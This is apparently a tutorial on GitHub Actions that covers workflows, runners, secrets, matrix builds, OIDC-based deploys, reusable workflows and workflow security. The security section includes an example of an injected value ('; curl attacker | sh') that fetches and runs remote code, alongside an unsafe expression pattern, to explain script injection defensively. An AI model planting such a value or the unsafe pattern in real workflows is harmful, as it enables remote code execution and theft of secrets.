GitHub Actions

01The building blocks: workflows, events, jobs, steps

A workflow is one YAML file in .github/workflows. It starts with on:, the events that trigger it, such as push, pull_request, workflow_dispatch (a manual button) or schedule (cron). A workflow contains jobs; each job runs on its own runner, a fresh machine that is thrown away afterwards. By default jobs run in parallel; needs: makes one job wait for another. A job is a list of steps. A step either runs shell commands with run: or uses a packaged action with uses:, for example actions/checkout to clone the repository. Think of it as a recipe book: the workflow is the book, jobs are recipes that can be cooked in separate kitchens at the same time, and steps are the lines of each recipe. Because every job starts on a clean machine, nothing carries over between jobs unless you pass it explicitly as an artifact, a cache entry or a job output.

• Workflow = file, triggered by events.
• Job = runs on one runner; parallel unless needs: says otherwise.
• Step = a shell command (run:) or an action (uses:).

02Your first CI workflow

The workflow below runs on every pull request and on pushes to main. It checks out the code, installs Node.js with dependency caching built into setup-node, installs exact versions from the lockfile with npm ci, then lints and tests. Two lines matter more than they look. permissions: contents: read limits the automatic GITHUB_TOKEN to read-only access, so a compromised step cannot push code. concurrency cancels an older run of the same branch when a new commit arrives, which saves minutes and avoids confusing results. Action versions are written as @v7: the major-version tag. For actions published by GitHub this is a reasonable default; for third-party actions, pin to a full commit SHA, covered later.

1name: CI
2on:
3  pull_request:
4  push:
5    branches: [main]
6permissions:
7  contents: read
8concurrency:
9  group: ci-${{ github.ref }}
10  cancel-in-progress: true
11jobs:
12  test:
13    runs-on: ubuntu-latest
14    steps:
15      - uses: actions/checkout@v7
16      - uses: actions/setup-node@v7
17        with: { node-version: 24, cache: npm }
18      - run: npm ci
19      - run: npm run lint && npm test

03Runners: GitHub-hosted, larger and self-hosted

A runner is the machine that executes a job. GitHub-hosted runners (ubuntu-latest, windows-latest, macos-latest and ARM variants) are fresh VMs for every job, patched by GitHub and billed per minute for private repositories; public repositories get them free on standard sizes. Larger runners give more CPU and RAM, static IP ranges and GPU options for a higher price. Self-hosted runners are your own machines or Kubernetes pods running the runner agent; you choose them with labels such as runs-on: [self-hosted, linux]. They are useful when you need special hardware, access to a private network or cheaper bulk compute. The cost is that you own patching, scaling and cleanup. Most important: never attach a self-hosted runner to a public repository, because anyone who opens a pull request could run code on your machine. For autoscaling, the Actions Runner Controller (ARC) creates ephemeral runner pods in Kubernetes on demand.

04Secrets, variables and environments

Secrets are encrypted values (API tokens, SSH keys) stored in repository, environment or organization settings and read in YAML as ${{ secrets.NAME }}. GitHub masks them in logs, but masking is not security: a step that base64-encodes a secret prints it in clear. Variables (${{ vars.NAME }}) are for non-sensitive configuration such as a region name. Environments (for example staging and production) group secrets and add protection rules: required reviewers, a wait timer, and which branches may deploy. A job that declares environment: production pauses until an approver clicks approve, and only then can read production secrets. Secrets are not passed to workflows triggered by pull requests from forks, which protects you from strangers exfiltrating them. Prefer OIDC for clouds: the workflow requests a signed identity token and exchanges it for short-lived cloud credentials, so there is no cloud key to leak or rotate.

05Matrix builds, caching and artifacts

A matrix runs the same job across combinations, for example three Node versions on two operating systems, producing six parallel jobs from a few lines. Set fail-fast: false when you want to see every failing combination rather than cancelling the rest at the first failure. Caching saves dependency downloads between runs: setup actions for Node, Python, Java and Go have a cache input, and actions/cache handles anything else, keyed by a hash of the lockfile so the cache refreshes when dependencies change. Artifacts are different: they are files a job produces (a build folder, test reports, coverage) that you upload for other jobs or for humans to download, with a retention period. Rule of thumb: cache things you can rebuild to save time; upload artifacts when you need the exact output of this run.

1jobs:
2  test:
3    runs-on: ${{ matrix.os }}
4    strategy:
5      fail-fast: false
6      matrix:
7        os: [ubuntu-latest, windows-latest]
8        node: [20, 22, 24]
9    steps:
10      - uses: actions/checkout@v7
11      - uses: actions/setup-node@v7
12        with:
13          node-version: ${{ matrix.node }}
14          cache: npm
15      - run: npm ci && npm test

06A deploy job with approval and OIDC

A typical pipeline tests on every pull request and deploys only from main. The deploy job below waits for the test job with needs:, runs only on main thanks to if:, and is tied to the production environment so it requires approval and can read production-only secrets. permissions: id-token: write allows the job to request an OIDC token, which the cloud login action exchanges for temporary credentials of a role you configured to trust only this repository and branch. The role ARN is not secret, but store it in a variable to keep the file generic. The deploy itself here is a placeholder script; it could be helm upgrade, an rsync, or a call to a hosting provider's CLI.

1  deploy:
2    needs: test
3    if: github.ref == 'refs/heads/main'
4    runs-on: ubuntu-latest
5    environment: production
6    permissions:
7      contents: read
8      id-token: write
9    steps:
10      - uses: actions/checkout@v7
11      - uses: aws-actions/configure-aws-credentials@v6
12        with:
13          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
14          aws-region: eu-central-1
15      - run: ./scripts/deploy.sh

07Reusable workflows vs composite actions

Two ways to stop copy-pasting YAML. A composite action bundles several steps into one action.yml; callers use it as a single step, so it runs inside the caller's job and shares its runner and filesystem. It is ideal for a setup sequence such as install toolchain, restore cache, log in. A reusable workflow is a whole workflow with on: workflow_call, inputs and secrets; callers reference it at the job level with uses: org/repo/.github/workflows/deploy.yml@ref. It can contain several jobs, environments and its own runners, which makes it the right tool for a standard pipeline that every service must follow. Secrets must be passed explicitly or with secrets: inherit. Nesting is limited (a few levels deep), and a caller can only reduce, not raise, the permissions of the called workflow. A platform team often publishes reusable workflows from a central repository and enforces them with required workflows or rulesets.

1# .github/workflows/deploy.yml (reusable)
2on:
3  workflow_call:
4    inputs:
5      environment: { type: string, required: true }
6    secrets:
7      DEPLOY_TOKEN: { required: true }
8jobs:
9  deploy:
10    runs-on: ubuntu-latest
11    environment: ${{ inputs.environment }}
12    steps:
13      - uses: actions/checkout@v7
14      - run: ./scripts/deploy.sh "${{ inputs.environment }}"
15        env:
16          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

08OIDC trust: how keyless deploys actually work

When a job has id-token: write, the runner can ask GitHub's token service for a JSON Web Token signed by GitHub. The token's claims describe the run: repository, ref, environment, workflow and the triggering actor. The sub claim looks like repo:your-org/your-repo:environment:production. In your cloud you register GitHub as an identity provider and create a role whose trust policy accepts tokens only with a specific audience and sub. The cloud verifies the signature, checks the claims and returns credentials that expire in about an hour. The security is only as good as that condition: a trust policy that matches repo:your-org/* lets any repository in the organization assume a production role. Bind production roles to the environment claim, so only jobs that passed the environment's approval rules can deploy. Organizations can also customise the sub claim to include more fields, such as the job workflow reference.

09Workflow security: injection and untrusted triggers

The two classic holes are script injection and privileged triggers. Expressions like ${{ github.event.issue.title }} are substituted into the script text before the shell runs, so a title containing "; curl attacker | sh" becomes code. Fix: pass untrusted values through env: and reference them as normal shell variables, which the shell treats as data. The second hole is pull_request_target and workflow_run: they run in the context of the base repository with secrets and a write token, by design, so they can label or comment on fork pull requests. If such a workflow checks out and builds the fork's code, that code runs with those privileges. Keep privileged workflows free of untrusted code, or split work: an unprivileged pull_request workflow builds and uploads results, and a privileged workflow only reads the artifact as data. Tools like zizmor or actionlint flag these patterns automatically in CI.

1# Unsafe: title is pasted into the script
2- run: echo "${{ github.event.pull_request.title }}"
3 
4# Safe: title arrives as data in an env var
5- run: echo "$PR_TITLE"
6  env:
7    PR_TITLE: ${{ github.event.pull_request.title }}

10Speed and cost at scale

Pipeline time is developer time. Measure first: the workflow run summary shows each job's duration. Common wins: run lint, unit tests and type checks as parallel jobs; use paths filters so a docs change does not run the full backend suite; cache dependencies and Docker layers (docker/build-push-action supports cache-to and cache-from with type=gha); split large test suites across matrix shards. Cancel superseded runs with concurrency. For monorepos, compute affected packages and run only those. Cost-wise, Linux minutes are cheapest, while Windows and macOS minutes cost several times more, so keep those jobs to what really needs them. When hosted minutes become a large bill, autoscaled ephemeral self-hosted runners via Actions Runner Controller on spot instances can cut cost, but you then own the security of those machines and the networks they can reach.